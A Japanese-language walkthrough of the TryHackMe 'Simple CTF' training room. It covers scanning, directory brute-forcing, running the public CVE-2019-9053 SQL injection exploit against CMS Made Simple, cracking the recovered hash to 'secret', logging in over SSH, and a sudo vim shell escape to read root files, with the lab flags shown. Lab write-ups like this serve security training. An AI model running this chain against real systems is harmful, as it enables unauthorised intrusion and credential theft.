
TryHackMeのSimple CTFのプロフェッショナルなウォークスルー。列挙、CMS Made SimpleのSQLインジェクション(CVE-2019-9053)、認証情報の回復、SSHアクセス、Vimによる権限昇格、ルート権限の掌握を網羅しています。
TryHackMeのSimple CTFのプロフェッショナルな攻略記事です。列挙、CMS Made SimpleのSQLインジェクション(CVE-2019-9053)、認証情報の回復、SSHアクセス、Vimによる権限昇格、root権限の奪取までをカバーしています。
TryHackMeのSimple CTF ルームの完全な攻略チュートリアルです。偵察、列挙、エクスプロイト、認証情報の回復、権限昇格、フラグの取得までを解説します。
| 項目 | 値 |
|---|---|
| プラットフォーム | TryHackMe |
| ルーム名 | Simple CTF |
| 難易度 | 簡単 |
| カテゴリ | Webアプリケーションの悪用 & Linux権限昇格 |
| 作成者 | Saahil Gupta (ImperialX1104) |
このルームの目標は次のとおりです:
Host Discovery
│
▼
Port Enumeration
│
▼
Directory Enumeration
│
▼
CMS Discovery
│
▼
Version Identification
│
▼
SQL Injection (CVE-2019-9053)
│
▼
Credential Extraction
│
▼
Password Cracking
│
▼
SSH Access
│
▼
User Flag
│
▼
Privilege Escalation
│
▼
Root Flag
最初のステップは、ターゲットマシンへの接続を確認することでした。
ping 10.49.175.174
ホストは正常に応答し、到達可能であることが確認されました。

公開されているサービスを特定するため、包括的なNmapスキャンを実行しました。
nmap -A -v 10.49.175.174
| ポート | サービス | バージョン |
|---|---|---|
| 21 | FTP | vsftpd 3.0.3 |
| 80 | HTTP | Apache 2.4.18 |
| 2222 | SSH | OpenSSH 7.2p2 |

ターゲットのWebサーバーにアクセスすると、デフォルトのApacheランディングページが表示されました。
http://10.49.175.174

この段階では、明らかな攻撃対象は見当たりませんでした。
隠れたリソースを特定するため、FFUFを使用してディレクトリのブルートフォースを実行しました。
ffuf -u http://10.49.175.174/FUZZ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
-fc 200
simple [Status: 301]

/simple という名前のディレクトリが発見されました。
発見したディレクトリにアクセスすると、CMSがインストールされていることが明らかになりました。
http://10.49.175.174/simple

CMS Made Simple 2.2.8
このバージョン番号は、後で重要になることが判明します。
CMSのバージョンについて、SearchSploitを使用して調査しました。
searchsploit "CMS Made Simple"
CMS Made Simple < 2.2.10 - SQL Injection

既知のSQLインジェクションの脆弱性が特定されました。
分析と実行のために、エクスプロイトをローカルにコピーしました。
searchsploit -m 46635
CMS Made Simple < 2.2.10 - SQL Injection
CVE-2019-9053

公開されているエクスプロイトを、ターゲットのCMSインスタンスに対して実行しました。
python3 exploit.py \
-u http://10.49.175.174/simple/ \
--crack \
-w /usr/share/wordlists/rockyou.txt
エクスプロイトは、バックエンドデータベースから情報を正常に抽出しました。
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: [email protected]

| 項目 | 値 |
|---|---|
| ユーザー名 | mitch |
| メールアドレス | [email protected] |
| ソルト | 1dac0d92e9fa6bb2 |
抽出したハッシュをHashcatを使用してクラックしました。
hashcat -m 20 hash.txt --show
0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2:secret
| 項目 | 値 |
|---|---|
| ユーザー名 | mitch |
| パスワード | secret |

取得した認証情報をSSHサービスに対して試しました。
ssh [email protected] -p 2222
secret
Welcome to Ubuntu 16.04.6 LTS

認証に成功し、ユーザー mitch としてシェルアクセスを取得しました。
アクセスを取得した後、ユーザーフラグはMitchのホームディレクトリにありました。
whoami
cd ~
cat user.txt
G00d j0b, keep up!

sudoの権限を確認すると、興味深い設定が明らかになりました。
sudo -l
User mitch may run the following commands on Machine:
(root) NOPASSWD: /usr/bin/vim

この設定により、ユーザーはパスワードを入力せずにVimをroot権限で実行できます。
Vimをrootとして起動:
sudo vim
Vimが昇格した権限で実行されていたため、rootが所有するファイルへのアクセスに使用できました。

rootフラグはrootユーザーのディレクトリにありました。
:! cat /root/root.txt
W3ll d0n3. You made it!

G00d j0b, keep up!
W3ll d0n3. You made it!
Nmap Scan
↓
Web Enumeration
↓
Directory Discovery (/simple)
↓
CMS Made Simple 2.2.8
↓
SearchSploit Research
↓
CVE-2019-9053 SQL Injection
↓
Credential Extraction
↓
Hash Cracking
↓
SSH Login (mitch:secret)
↓
User Flag
↓
sudo -l
↓
Vim Privilege Escalation
↓
Root Flag
脆弱性のあるCMSはホームページに表示されておらず、発見にはディレクトリ列挙が必要でした。
CMSの正確なバージョンを知ることで、既知の脆弱性に直接たどり着けました。
取得した認証情報は、利用可能なすべてのサービスに対して常に試すべきです。
Vimのようなエディタの特権実行を許可すると、システム全体を完全に乗っ取られる可能性があります。
このルームでは、初期の列挙から完全なroot権限の奪取に至るまでの、完全な攻撃チェーンを体験できました。Webアプリケーションの列挙、SQLインジェクションの悪用、パスワードクラッキング、Linuxの権限昇格のテクニックを組み合わせることで、ターゲットシステムの完全な制御を達成しました。
このルームは、実世界のペネトレーションテスト手法への優れた入門編であり、適切なソフトウェアのパッチ適用、認証情報のセキュリティ、最小権限のアクセス制御の重要性を強調しています。
Saahil Gupta (ImperialX1104)
⭐ この攻略記事が役に立ったと思ったら、リポジトリにスターを付けていただき、GitHubでつながっていただけると嬉しいです。